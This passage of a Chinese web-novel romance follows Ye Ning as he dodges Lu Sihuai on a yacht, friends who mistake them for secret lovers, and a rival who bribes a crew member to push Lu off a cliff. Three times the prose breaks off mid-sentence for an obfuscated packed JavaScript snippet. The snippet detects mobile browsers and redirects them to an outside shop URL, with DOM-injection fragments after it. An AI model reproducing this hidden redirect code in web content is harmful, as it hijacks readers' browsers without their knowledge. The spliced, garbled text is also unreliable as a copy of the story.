人群中间像是被人往两边拨开,自动让出一条道。 倪桐和身后一众女生:“?” 姚博文:“?” 翟文星:“?” 有电话吗?他怎么没听到。 一群人就这么站在原地,然后看着叶宁的背影消失在走道尽头,又齐齐扭过视线,看向从台阶上下来的云想陆总,哑语。 翟文星觉得自己大抵被日头晒昏了。 不仅没有听到叶宁的电话声,甚至觉得刚刚那一下像极了自己女友和自己吵完架怎么都哄不好不想见面不想说话扭头就走的场景。 翟文星咳嗽一声,第一个反应过来,率先开口。 “陆总,你和叶…”翟文星难得“呃”了一声,直觉问两人关系不大合适,又改口,“你找叶宁?” 身后一群人瞬间凝神,提起耳朵细听,然后听到一句—— “没有。”陆司淮答得坦然。 所有人:“……” 所以刚刚真是凑巧? 无论这句“没有”是真的假的,都表明陆总不想言明,翟文星很有眼力地没有追问,笑着揭过,说:“餐厅备了点心,陆总要不要一起?” 回答他的是陆司淮响起的手机铃声。 这一瞬间,翟文星脑海里竟然只有一个念头:多清晰的手机铃声啊,原来他还是能听见的。 “抱歉。”陆司淮随口说了一声。 翟文星微一抬手:“客气了,那我们不打扰陆总了,陆总随意。” 人潮如流水,消失在过道,只剩一个姚博文。 姚博文站在一旁,等某人接过一个完全不要紧的电话,才开口。 他开门见山:“你和叶宁怎么回事?” 陆司淮靠着墙,垂眼回手机消息,语气很随意。 “什么怎么回事。” 姚总差点骂脏话。 “还装?要没事人能接个薛定谔的电话跑了?你还站这堵他?” “没堵。” “没堵你站这?” 陆司淮:“说了接电话。” “那你刚刚朝他走下来……”姚博文可太熟悉陆司淮了,一看就知道他的表情没有作假,姚博文只思考了小几秒,立刻回过神来,话锋一转,“所以你刚刚朝他走下来就只是为了…吓唬他?” 什么恶趣味。 陆司淮不置可否。 姚博文嘴角抽搐:“你行。” 甲板上传来几道欢呼声。 “翟文星收了瓶啸鹰,年份不错,”陆司淮收起手机,突然换了话题,“不去尝尝?” 说到红酒,姚博文下意识吞了口唾沫,脚尖朝着甲板的方位动了下,但还剩下理智:“那你呢?” “有事。” “什么事?” “你说的,”陆司淮背对着人往后走,然后说了一句,“堵人。” 姚博文:“???” 11. 你是我什么人吗? 叶宁借着打电话的借口,从三层快步下到一层,靠着缆绳储存舱舱室门板缓了好一会,才冷静下来。 他下意识抬起头,朝着扶梯的方向看了一眼。 翟文星说要去餐厅,陆司淮现在是不是也在那? 如果现在过去,会不会又撞上? 叶宁一想到那几句“晚安”就头皮发麻,吹着海风静站三两分钟,最终决定就近回房间。 翟文星在带叶宁去帆船餐厅之前,先带叶宁去了房间,就在一层,刚好可以避开楼上一群人。 叶宁转身往舱内走。 游轮出海前都会监测天气,大多时间都不会遇上疾风急雨,但毕竟是海上,气候变化无常,为了保证出行体验,安稳些,客房都安排在一、二层。 翟文星给叶宁安排了靠船尾的位置,安静。 走廊铺着尼龙印花地毯,是与游轮相同的配色,墙壁两侧点着灯,灯具专门设计过样式,日轮样式,模拟日光光线,照在地毯上很别致。 装修布置和酒店很像,唯一不同的是游轮廊道虽然也有尽头,但两端都不是封闭的,保障了通风和光线,叶宁隐约还能感受到海风的气息。 四周无人,是个很能静心的环境。 叶宁走到自己房间前,输入解锁密码。 “滴、滴、滴……” 水滴仿声的密码解锁音悠悠响起。 “1、9……”叶宁回想着密码最后两个数字,正要按下,不远处响起一道脚步声。 突如其来的声音在这安静的廊道显得异常清晰。 叶宁本能一转头,看清来人的瞬间,手指骤然一偏—— “嘀——” 不同于之前清灵的水滴音,这次响起的是尖锐的鸣声。 下一秒。 “密码错误,请重新输入密码。” “密码错误,请重新输入密码。” 接连两道机械提示声响彻廊道。 叶宁:“……” 陆司淮踩着光,朝他走过来。 恍惚间,叶宁还以为时光倒转回几分钟前,倒转回三层那个扶梯转角。 陆司淮怎么在这里? 叶宁还在出神思考这个问题,没留意到陆司淮那慢悠悠却目标清晰的靠近,直到眼前出现一道被压低的阴影。 廊道不算明亮的灯光照落在陆司淮身上,投下一道长长的阴影,将叶宁完全包裹其中。 原本觉得宽敞的廊道此时好像忽然拥挤起来,变得格外窄小,窄到叶宁连后退的空间都没了。 叶宁抬起头,两人眼神还算温和地对上。 只一秒。 叶宁就看了一秒,低下头,手指机械却快速地按房间密码。 他感受到陆司淮的视线扫过密码锁。 叶宁:“……” 叶宁输密码的速度更快了。 下一秒。 “密码错误,请重新输入密码。” “密码错误,请重新输入密码。” 叶宁:“…………” 什么破锁。 输错密码就不能开吗。 叶宁面上依旧平和,但手上动作藏不住。 他的拇指和食指无意识摩挲了一下,重新贴在锁面—— “再输错一次,就要喊人开锁了。”一道声音在耳畔传来。 叶宁:“。” 原来你也知道。 叶宁等不住了,他张了张嘴,正欲开口。 “慌什么。”陆司淮忽地笑了一声。 叶宁想说的话被堵了回去。 隔了好一会,陆司淮才听到回答。 “没慌。”叶宁声音如常,如果不是那接连按错的密码,连陆司淮也看不出什么端倪。 叶宁给自己找了个过得去的借口。 “你挡着光了。”他说。 叶宁希望陆司淮能听出他话语中“送客”的意思。 可男主显然没有。 安静的廊道上,两人在叶宁房间门口对峙似的站着。 就在叶宁在脑海间重新过了一遍密码,确保这次能分毫不差地解锁,然后快速闪进房里的时候,陆司淮再度开口。 这次只有两个字。 ——“躲我?” 刚过完一遍的密码如同海风过境,消失得干干净净。 叶宁被这突如其来的发问打得有点懵,不自觉后撤一步,贴着房门。 走廊陷入一阵悠长的静谧。 好半晌,叶宁才找回自己的声音:“没有。” “那怎么见到我就走。”陆司淮好整以暇看着他,挑了下嘴角。 叶宁哑然垂眸。 还问。 “接电话。”叶宁避开陆司淮视线,理由找得并不高明。 陆司淮笑了。 他很轻地说了句“是么”,紧接着不紧不慢开口:“打开通话记录我看看。” 叶宁:“…………” 叶宁手上的手机好像倏地变成了那条巷子里的钢棍。 烫手。 是,是在躲你,所以你能快点走么,叶宁在心里回答他,可这话他又没法说。 正想着该怎么应付过去,叶宁像是梦境初醒似的,忽然反应过来。 他为什么要在这里接受陆司淮的“盘问”? 他们现在也没什么关系。 一个因爱生恨、爱而不得的人,无论做什么都是正常的,不是吗? “陆司淮。”想到这里,叶宁屏着呼吸,抬起头。 陆司淮视线不闪不躲,和他对视:“嗯。” “你是我什么人吗,”叶宁垮起脸,“我为什么要……” 可他话没说话,陆司淮打断了他。 “我不是么。” 叶宁被噎住了。 …陆司淮在说什么? 叶宁脱口而出就想问“你是我什么人”,然而下一秒,脑海里像是自动触发警报似的,响起那天天台上,陆司淮的那一句“你喜欢我啊”。 叶宁:“……” 如果陆司淮是这个意思…… 他对陆司淮承认过“喜欢”的事实…… 叶宁原本还在怀疑,可当他透过光线,看到陆司淮眼中明晃晃的笑意时,他几乎敢保证,陆司淮说的就是他想的这个意思。 叶宁哑巴了。 如果陆司淮现在再蹦出一句“你不是喜欢我么”,他就跳海。 被藏得很好的情绪终于遮不住了,叶宁破罐子破摔:“那我说有电话,不可以吗?” 陆司淮像是没预想到叶宁的回答,笑了下。 “可以。”他说。 叶宁已经聊不下去,既然已经破罐子破摔,索性摔到底。 “陆司淮。”叶宁又喊了一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14000626|148492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯。” “我困了,想睡一下,”叶宁转过身去,手指重新贴上锁面,“你陪……” “你陪他们玩吧”这句话没能说完,彻底被打断。 但这次打断他的,不是男主。 而是廊道尽头转角一串剧烈的咳嗽声。 叶宁按密码的手再度停下,和陆司淮一起转过头,看向那边。 转角处走出一个翟文星,还在咳嗽,咳得满脸通红。 紧接着还有一个倪桐。 平日行事张扬的两人,此时板板正正站在那里,像是犯了什么错等着挨批的孩子。 叶宁一头雾水,等了一会儿,也不见两人开口,只好先行询问:“有事吗?” 倪桐一个肘击,翟文星顿时清醒过来。 “哦,那个、那个也没什么事,就是下午船会在一个海岛停靠,岛上有一片跳水崖,叫情人崖,他们商量着趁天气好,要去跳水呢,就想提前跟你们说一声。” “然后,我那边开了瓶红酒,还不错,想喊你们来尝尝。” 翟文星絮絮顿顿说完,重新沉默下来。 不知道是不是叶宁的错觉,总觉得翟文星和倪桐的表情有些…古怪。 叶宁张了张口:“我……” 倪桐又是一个肘击。 叶宁闭上嘴。 翟文星终于再度开口。 “不过也不急,跳水是下午的事,然后红酒晚上也可以喝。” “既然叶宁困了,那酒晚上再尝。” 翟文星说完,视线一点一点转移到叶宁身旁的人身上。 叶宁像是突然想到什么,紧着的心口一松。 刚好,翟文星在这,可以喊走陆司淮。 叶宁没来得及说完的那句“你陪他们玩吧”重新冲到嘴边。 他和翟文星同时朝着陆司淮开口。 叶宁:“你陪……” 翟文星:“那陆总陪、陪他睡会吧,我们不打扰。” 叶宁:“????” 翟文星最后一个字说完,走廊静到落针可闻。 空气仿佛都被抽干,压成真空。 翟文星也没想过事情会变成这样。 事情起因很简单,他收了一瓶年份不错的啸鹰,醒好了,想着这么长时间过去,叶宁应该已经打完电话,想喊他来尝尝。 然后收到一楼船员的消息,说看到叶宁往房间走了,怕底下人怠慢,就自己走一趟。 至于倪桐,则是因为刚撞到仲俊豪那一下,假睫毛压炸了,打算回房间补个妆,顺路就一道来了。 谁曾想刚从连接客房的船尾楼梯下来,脚刚踩在地毯上,就听到陆司淮的那一句“躲我”。 倪桐以迅雷不及掩耳之势将脚收了回来,朝着身后的翟文星比了个“嘘”的手势。 进退维谷间,走廊上两人已经开始对话。 翟文星原本只印证了“叶宁和云想陆总的确认识”这个猜想,直到接下来这两句对话。 ——“你是我什么人吗?” ——“我不是么。” 翟文星瞳孔地震。 这种对抗中夹着暧昧,密不透风旁人根本插不进嘴的氛围…… 想起来了。 一切都想起来了。 原来之前“女友和自己吵完架怎么都哄不好不想见面不想说话扭头就走”的既视感不是错觉! 12.“地下情” 翟文星和倪桐并非本意地撞破一段“地下情”,主角之一还是叶宁。 饶是自诩见惯了风浪的两位此时都有些难捱,倪桐扭着脸看左边墙壁上的灯,翟文星尴尬地托着后颈看右边墙壁上的灯,心中只有一个念头:这灯可真灯啊。 原本在陆总说完“我不是么”的时候,翟文星还保有最后一分理智,甚至分出最后一点心神,拿出手机,给身旁的倪桐发过去一条消息。 【叶宁和云想陆总不会是那种关系吧?】 倪桐看都没看手上键盘,手速却快到像是在弹琴。 【俩人都要睡一起了,你还问是不是那种关系?】 翟文星:“???” 虽然说话糙理不错,但倪桐这话也太糙了。 翟文星还来不及问倪桐为什么这么说,走廊上叶宁的声音给了他答案。 “陆司淮,我困了,想睡一下,你陪……” 就在这时,海风骤起,几缕咸气穿堂而过,猛地涌进翟文星正因为震撼而张大的嘴,于是事情就变成了这样。 死寂从走廊这端延伸至那头。 时间像是过去了一个世纪,倪桐总算受不了这种气氛,欲盖弥彰找补:“那个,仲俊豪刚刚是不是说酒不够喝,让我们去酒库再拿一点来着?” “啊?”翟文星愣了下,“啊对对。” “那边还等着呢,那我们就先走了,不打扰不打扰。” 倪桐拉着翟文星,两人以冲刺的速度消失在走廊尽头。 叶宁窒息般安静。 就连陆司淮都难得陷入沉默。 走廊明明没有任何变化,此刻却像是经历了一场风暴。 叶宁一忍再忍,一忍再忍,终究没能忍住。 “你去…解释。” “解释什么。” “我没有要你……”叶宁胸腔一点点起伏,连续做了两个呼吸,才从喉咙里挤出剩下几个字,“陪我睡。” 陆司淮短促地笑了一声,应下:“好。” 他转身向后走,可没走出一步,手腕被人拉住。 陆司淮循着力道低头,是一只白皙的手。 “怎么了。”陆司淮问。 叶宁一时没答。 “再不走,两人就走远了。”陆司淮提醒道。 叶宁嘴巴微微张了张,像是缓冲过来似的,终于开口:“你要怎么解释?” “还能怎么解释?”陆司淮的视线从叶宁的手转向叶宁的眼睛,微一挑眉,“自然是按照你的意思,说你没有要我陪你睡。” 叶宁:“…………” 回答陆司淮的,是一串密集且快速的密码解锁音,以及一道贯穿整片走廊,震天响的关门声。 再下一秒。 手机“叮”一声。 一个多星期没有更新的消息列表终于多了一条。 就横在那句“晚安”下面。 【别解释。】 在叶宁拉住陆司淮的时候,逃至甲板的翟文星和倪桐,正靠着备件舱舱门缓神。 翟文星神游天外似的,从兜里摸出一包烟,拿出打火机,点了。 倪桐朝她伸手:“给我一根。” 翟文星:“你什么时候抽上烟了?” 嘴上这么说,手上很诚实地递过去。 倪桐接过烟和打火机,幽幽开口:“缓一下。” 是得缓一下。 然而没等他们缓几秒,“砰”一声巨响,从下方廊道传来,吓得两人手都抖了一下,烟灰震落下来,又被海风吹散。 没多久,一道高挑人影从楼梯转角慢步走上来。 翟文星和倪桐对视一眼,这才反应过来,刚刚那一下,是关门的声音。 人被惹急了。 陆总被赶出来了。 翟文星沉默良久,自觉良心有愧,又把手伸进口袋,拿出烟和打火机,递给陆司淮:“今天这事,对不住了。” “陆总要不要也来一根?” 陆司淮接了,顺势走过来,半倚着舱门,点烟。 他点烟的姿势很好看,咬着烟,手指懒散曲着,半拢挡风,打火机清脆的声音响起,火舌袭过烟头,指间燃起猩红一点。 三人周身都萦绕一点苦涩烟味。 倪桐吐出一口烟,转头看向陆司淮:“生气了?” 她没指名道姓,但彼此都知道她说的是谁。 陆司淮“嗯”了一声。 “这次是我们的错,”翟文星抱歉地说,“我们真不知道你们在那边,如果知道就不过去了。” “没事,”陆司淮眼神和声音都很淡,“我的问题。” 倪桐单手夹着烟,视线掠过陆司淮,眼睛微眯。 她和云想没有业务交集,别说陆司淮,就连副手姚博文的照面都不曾打过,只偶尔听家里人说云江来了一个手段强硬的新贵。 刚刚在楼下听他和叶宁对话,还以为可能是个好相与的。 可现在看起来,又似乎不对。 陆司淮这人和叶宁很像,对旁人都是“得体疏离”,好像只有对上彼此的时候,才会冒出点情绪。 情侣的把戏。 倪桐在心里“啧”了一声,开口:“陆总,你放心,这事我们俩懂,也有分寸,知道什么该说什么不该说。” “至于叶小少爷那边,”倪桐吸了一口烟,“你就费心哄哄,好不容易来玩一趟,总不好让他不开心,你说是吧。” 陆司淮笑了笑。 - 一楼私人套房内,叶宁坐在床上揉额角。 游轮随着翻涌的海浪偶尔轻晃,将思绪都打乱。 他脑海接连闪过几张脸,从赵浩南到秦乐舟,再到翟文星和倪桐,最后定格在陆司淮,“回去”的念头愈加坚定。 叶宁深吸一口气,终于起身,缓步走到阳台。 海很平静,阳光着落在海面,闪着粼粼的柔光。 叶宁偏过头,看向阳台天花板角落嵌着的监控器。 大概是怕出事,这船上公共区域都嵌着摄像头,连阳台都有。 护栏很高,很牢固,船也行驶得稳当,似乎找不到像穿到这世界那样,意外落水的可能。 叶宁收回视线,转身进屋。 头有点疼,不知道是被闹的还是被晃的,不想出门,怕撞上陆司淮,叶宁环视一周,掀开被子,躺上床。 闭眼休息了一个多小时,叶宁睁开眼,终于打开房门走出去。 客房外头是一个小型酒吧,复古布景,装修很简约,一眼望去都是原砖墙和木桁架,此时正放着轻柔的钢琴曲。 叶宁走过去,木质吧台后的调酒师立刻望过来,喊了一声“叶少”。 “要给您调杯酒吗?” “不了,谢谢,”叶宁直接开口,“他们都在哪?” 出门前,叶宁特地在房间门口站了一会儿,确认没听到什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010443|148492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么人声才径直走出来。 应该不在一层。 调酒师的话验证了叶宁的猜想。 “哦,都在三层和顶层呢,翟少在顶楼卡丁车那边,还有几位在冲浪池和泳池,餐厅也还有人。” 叶宁放下心来,说了一声谢谢,正想往一层观景台走,思绪一闪,想起上船时和陆司淮对视那一眼…… 两三秒后,叶宁脚步一转,朝着船尾甲板走去。 等叶宁的脚步消失在廊道,调酒师才像是忽然想起了什么,擦酒杯的手一停。 哦不对,也不是所有人都在三层四层。 一楼也还有一位,喝多了正在补觉的徐少。 调酒师踮起脚,朝里头望了一眼,已经看不到叶宁的影子。 叶少问“他们在哪”,应该是想上去找人的意思? 徐少自上船起就在一楼睡觉,应该也不打紧。 调酒师没在意,转头擦洗杯子和摇壶,收拾完,正打算开块冰,那边响起脚步声。 调酒师下意识以为是叶宁,“叶”字刚出口,结果看到了徐梁瑞,身后还跟着一个穿着工作制服的海乘。 挺眼熟,当时翟少安排把徐少扶到房间的好像就是这张面孔。 “徐少。”调试酒立刻反应过来。 补了几个小时觉的徐梁瑞揉着酸胀的后颈,朝他摆手,懒洋洋开口:“调杯白俄。” “徐少,”海乘想着翟文星看好人的嘱咐,忙不迭开口,“刚醒酒就别喝酒了吧?” 徐梁瑞浑不在意:“就这么点度数也叫酒。” “快调,嗓子都要冒烟了。” 海乘只好作罢。 一杯冰酒下肚,徐梁瑞清醒几分,看看周遭这么安静,说了句“没劲”,转头问:“他们人呢?” 海乘如实回答:“都在三四层。” 徐梁瑞起身往外走,刚一出门,眼睛就被日光刺得眯起眼,他“啧”了一声,扭头朝船尾的方向去,打算从船尾的扶梯上去。 “你们翟少就没安排什么活动?这海出得这么没意思?”徐梁瑞边走边说。 海乘:“有的有的,下午船会在汉马岛靠岸,那边有一片跳水崖,风景不错,可以跳水,晚上也在汉马岛安排了晚宴和住宿,明早再起航。” 徐梁瑞没再说什么。 “玩来玩去也就这些,你们翟少什么都好,就是胆子太小,要我说……”徐梁瑞上楼梯的脚停住,声音跟着一顿。 “那边那个,是谁。” 海乘正疑惑徐少怎么突然停步,听着这么一问,顺着他手指的方向看过去。 “叶少,叶氏集团的那位。”海乘回道。 徐梁瑞拖着声音“哦”一声:“云江水养出来的贵公子啊。” 他吊儿郎当地笑了下,脚步一转:“那我得会会。” 徐梁瑞单手插兜走过去。 “叶小少爷不上楼喝酒,一个人在这里……” 观景台上的人像是听到脚步声,慢慢转过身来。 叶宁站在微高两步的甲板观景台上,周身落了一层柔和的光,白色短袖衬衫外套被风扬起衣角,因着高度差,居高临下看过来。 他眉眼低垂,明明是带着冲击性锐感的脸,却被眼神冲淡两分。 一张出尘的脸,一双冷淡的眼睛。 他俯瞰他,像在俯瞰什么草木。 徐梁瑞从来不知道云江还藏着这样一号人物。 13.还没哄好呢 船尾甲板布置不比船头那样费心思,来人少,很安静,所以叶宁选择这里。 他站在观景台上,低头望着游轮前行搅动海浪留下的尾迹,海水湛蓝,翻涌白浪,像被银色利刃划过的玻璃。 海么…… 叶宁自顾自说了一句。 在那条雨巷醒来前,他就在海上。 差不多的游轮,差不多的宴会,差不多的时间,差不多的海。 可是该怎么回去? 如果现在“掉”进海里,睁开眼看到的会是什么? 叶宁正想着,一道陌生的人声打断所有思绪。 他循声回头,看到一张生面孔。 来人穿着一件橙白相间的花卉刺绣衬衫,头上顶着一副墨镜。 不认识,也没在帆船酒吧见过。 叶宁本就不太想说话,来船尾就是想一个人静静,无端被打扰,难得有些心烦。 本就是没有丝毫讨好感的长相此时更显疏离冷淡。 徐梁瑞就这样一下看进眼里。 观景台上的人显然没有理会他的意思,徐梁瑞却笑了。 就是这种眼神,越疏离,越吸引人。 徐梁瑞率先走上前。 “徐梁瑞,”说着,徐梁瑞朝着叶宁伸出手,“久闻叶少大名。” 徐梁瑞一靠近,叶宁便闻到他身上的酒气,不算重,却还是让叶宁皱了皱眉。 他想起之前翟文星他们的打趣,总算知道这人的身份。 大溪集团刚从国外回来的三少爷,这艘游轮的主人…严格来说,是前主人。 叶宁看着朝他伸出来的这只手,停顿片刻,才礼貌性伸手回握:“叶宁。” 徐梁瑞的视线在叶宁秀气的手背上短暂停留,才抬起头,看向这张脸。 “知道,在国外的时候就常听家父说起叶少,今日一见,果然名不虚传。” 叶宁兴致缺缺,没有接话。 “叶少不上去喝酒,一个人在这站着,不无聊吗?”徐梁瑞主动挑起话题。 叶宁没心情回答,他垂眸,看向徐梁瑞仍然没松开的手,只一秒,便抬起眼。 眼神冷淡到几乎能凝出实质,就算徐梁瑞再想装作看不见也不行,他装模作样笑了一声,然后松开手:“抱歉抱歉,只顾着说话,忘了还握着手了。” 叶宁没理会他的鬼话,收回手。 徐梁瑞有些可惜,但四下没有旁人,机会难得,氛围又不错,于是再接再厉:“叶少在这里赏景吗?” 叶宁已经转过身:“舱里闷,来吹会风。” 徐梁瑞张了张嘴,想继续,可这次叶宁没给他开口的机会,很疏远地喊了一声“三少爷”,连姓氏都没加,然后说:“你也来赏景?” 徐梁瑞一听叶宁主动挑起话题,高兴溢于言表,立刻应下:“是啊,今日景色不错,既然在这里遇到叶少,那……” “那观景台的位置就留给三少爷了,”叶宁的声音与徐梁瑞一同响起,他往后退了一步,将两人距离拉开,“我也赏完了,就不打扰了三少爷了。” “你随意。” 说完,叶宁三两下走向观景台,朝着房间的方向走去。 叶宁的背影越来越远,最终消失在船尾入口。 徐梁瑞:“……” 身旁的海乘垂着头大气不敢喘。 连他都能看出来叶小少爷不愿意和徐少一起赏景,话说得再客气,也架不住他不待见徐少的事实。 以徐少的脾气,大概要发火。 可让海乘没想到的是,他听见了一道笑声。 他一抬头,看见徐梁瑞正盯着走道的方向看,半天没收回眼神。 海乘心里打鼓,喊了一声:“徐少?” 徐梁瑞往前走了一步,站在叶宁刚刚站过的位置,好半晌,终于开口:“跟我说说这叶家小少爷。” 海乘一下子没反应过来:“啊?” 徐梁瑞刚从国外回来,随身带着钱包,他从钱包里拿出一小叠印着富兰克林头像的纸钞,递过去:“说什么都可以,说好了,都是你的。” 海乘眼睛一下子亮起,可他说白了就只是一个小船员,哪能知道叶家太子爷什么消息,可眼前这馅饼又实在太大,大得他完全撒不开手。 海乘苦思冥想,良久,试探性说开口:“叶少好像挺喜欢茶,上午在帆船酒吧,叶少点了一杯普洱金汤力,只加了一点金酒,后来翟少安排了甜点,叶少也选了茉莉花茶酪。” 海乘也拿不准这算不算消息,徐梁瑞的纸钞给了他答案。 “嗯,继续。” 只是说个口味喜好都能拿钱,海乘悬着的心瞬间平稳落地,一时间,之前在船上打探到的消息一股脑涌到嘴边。 海乘从送叶宁过来的车聊到叶家老爷子,短短三分钟,赚得盆满钵满。 徐梁瑞心里大概有了数,可他要的远不只这些。 什么口味、出行车都只是日常偏好,连敲门砖都不算,只能在特定的场合加些印象分。 他要的,是能彻底拉近距离的见面礼。 “叶宁的关系圈都有谁,有在船上吗?” “船上好像…没有?”海乘如实回答,“上船后,叶少聊得最多的人好像就是翟少,但两人也不熟络,上船的时候是翟少去接的人,他还做了自我介绍。” 听到这里,徐梁瑞终于露出了一点烦躁的意思,昨晚要不是去了一趟Vegas,今天大概率可以跟翟文星一起接人,也能讨个好。 徐梁瑞像是突然想到一件事:“对了,他们提起我去Vegas了没?” 海乘犹豫好一会儿,才“嗯”了一声。 徐梁瑞表情果然黑了一分。 看来这见面礼还不能给轻了啊,徐梁瑞心想。 “继续。” 海乘能说的都说了,哪里还能继续,正绞尽脑汁回想之前在帆船酒吧的时候叶少都跟谁聊得比较好,脑海却突然多出一段记忆。 ——昨天下午他们在船上打扫卫生的时候,他听到了一个很私密的小道消息。 “徐少,叶少的朋友圈有谁我不清楚,但…”他往四周扫了一眼,见没人,才小心地往前走一步,附到徐梁瑞耳边,压着声音小心开口,“叶少好像跟有个人不对付。” 徐梁瑞露出自听消息以来最有兴致的神情:“说来听听。” “昨天翟少安排了人做最后清扫,我一个朋友也在,他之前做码头工的,有自己的门路,消息很灵通,他说前段时间叶家小少爷和人在巷子里发生冲突,打折了别人一条腿,自己也受伤住院了。” “叶宁?”徐梁瑞想起刚刚那张脸,表情很玩味,“他打折了别人一条腿?” “嗯,”海乘点头,“刚开始听到的时候我们也不信,后来通过打听,发现确有其事,叶小少爷就住在丰山国际医院,徐少要是不信的话,可以去查。” 徐梁瑞没有怀疑消息的准确性,他只是在想叶宁那长相打起架来是什么模样。 “和他不对付 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020484|148492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,现在也在这船上?” 从海乘提起这个话题起,徐梁瑞就看到了他眼中的精光。 如果不在船上,这人大概率没那么兴奋。 海乘果然点头:“是的,在船上,就是陆司淮,陆总。” “陆司淮?”徐梁瑞总觉得这个名字耳熟,他停顿片刻,“云想科技的陆司淮?” “是。” “他啊。”徐梁瑞往后一靠。 海乘:“徐少认识?” “没见过,但认识,”徐梁瑞冷笑一声,“前段时间溪扬那块地,他从我家口中咬走的。” 海乘:“……” 海乘这下不敢说话了。 日头有些刺眼,徐梁瑞把墨镜从头上摘下来,戴在眼睛上,片刻后,开口:“你说下午翟文星他们要去情人崖跳水?” 海乘愣了一下,不知道话题怎么突然从陆总变到这,可还是如实回答:“嗯。” “崖高吗。” “有高有低,但最高的好像也只有十来米,”海乘以为徐梁瑞是打算在叶少面前秀一把,于是会心道:“到目前为止没出过意外,只要小心点,不会有事。” 徐梁瑞“嗯”了一声:“下午跳水的时候,你找个人,把陆司淮推下去。” 海乘瞳孔瞬间睁大,说话声都颤了:“徐少,这、这……” “就十来米的跳台,我在国外十七八米的都跳过,知道分寸,死不了人。” 海乘仍旧腿软:“徐少……” “以翟文星的性子,敢安排跳水,底下一定雇了安全员,岛上也会安排医生,真要出事,顶多在床上躺两天,有我给你担着,怕什么,”徐梁瑞打了个哈欠,“别人喊两句新贵,陆司淮还真当自己在云江这块地站稳了。” 海乘还是犹豫,直到徐梁瑞从钱包里抽出一张卡。 “这卡是你的,找人的费用另算,我高兴了,钱也另算。” 海乘的目光钉在那张卡上。 “给陆司淮点教训,让他知道知道我徐家的地不是好抢的,”徐梁瑞笑着说,“顺便,给美人出口气。” “事情做得漂亮点。” “等会儿我也好向叶小少爷邀个功,共进晚餐。” 徐梁瑞把卡随手放在护栏上,转身就走。 海乘看着那张在阳光下闪着金色光芒的卡,迟疑许久,最终伸手拿过。 叶宁回到房间,走进浴室洗过手,才重新坐回床上。 可他这次没在房间待多久。 十几分钟后,翟文星发来消息,说他一上午都没吃什么东西,另外安排了点心,如果不想上来就让人送到房间里。 做事挑不出一点毛病。 一直在房间待着不能解决问题,也不算礼貌,叶宁回了句“不用麻烦,我上来”,然后起身上三层。 叶宁上来的时候,四层那拨人刚好在赛道上跑完几圈,打算下来喝点,两边碰上,一起往露天休闲甲板走。 刚走过玻璃栈道,叶宁一抬头,就看到了陆司淮。 他坐在岛屿沙发最右侧的位置上,正和身边的姚博文说话。 翟文星看到叶宁,下意识看了陆司淮一眼,随即抬手拍了拍他右侧的位置——离陆司淮只有几步的位置。 叶宁没有停顿,面不改色走过来,然后…坐在沙发最左侧。 和陆司淮之间隔着一条银河。 翟文星:“……” 翟文星和倪桐对视一眼。 懂了,还没哄好呢。 14.别靠太近 “叶宁的消息你也是真敢查啊,还让我立刻回复,你知道我找了多少人吗?” 徐梁瑞接到电话的时候,正靠着观景酒廊的玻璃墙,隔着落地窗,看到的就是这一幕。 叶宁往沙发最右侧看了一眼,然后选了个最左侧的位置。 徐梁瑞手机那头的人继续说道:“前段时间叶宁的确在丰山住了一个星期,据说是外伤,和他起冲突的是一个车厂老板,车厂叫引力车厂,厂子挺大的,叶宁前段时间用了点手段,把车厂关停了。” “车厂老板名叫赵浩南,但有意思的是,初始资金不是他的,据说背后的老板姓陆,大概率就是云想的陆总。” “从目前手头的情报看,你的消息没错,叶家小少爷的确和陆司淮有过结。” “能气得叶小少爷亲自动手,这过结怕也不小。” “看出来了。”徐梁瑞说道。 手机那头:“?” 徐梁瑞看着叶宁坐的位置,最后一点疑虑打消。 “简直避之不及。” “什么避之不及?” “没什么。”确认完事实,徐梁瑞也不顾手机那头的疑问,说了句“回头请你吃饭”,挂断电话。 徐梁瑞打了个响指,酒保快步走过来。 “调杯荔枝威士忌乌龙,快点。” 酒保不知道徐少口味怎么突然这么清淡,但没多问,走向吧台调酒师。 几分钟后,徐梁瑞端着茶酒,走到露天阳台。 他刚一露面,所有人视线朝他望过来。 周遭很快响起一片打趣声。 “呦,这是谁啊,终于舍得醒了。” “我们这些游轮哪有Vegas讨徐少的喜欢。” 徐梁瑞早就习惯这些声音了,当做没听见,端着茶酒径直朝着某个方向走去。 场上几乎所有人视线都在他身上,连翟文星都不例外,只有两人,只抬眸掠了一眼,完全不在意。 一左一右,一个陆司淮,一个…… 徐梁瑞微一俯身,把酒放在另一个对他视若无睹的人面前的茶几上。 “荔枝乌龙威士忌,叶少尝尝?” 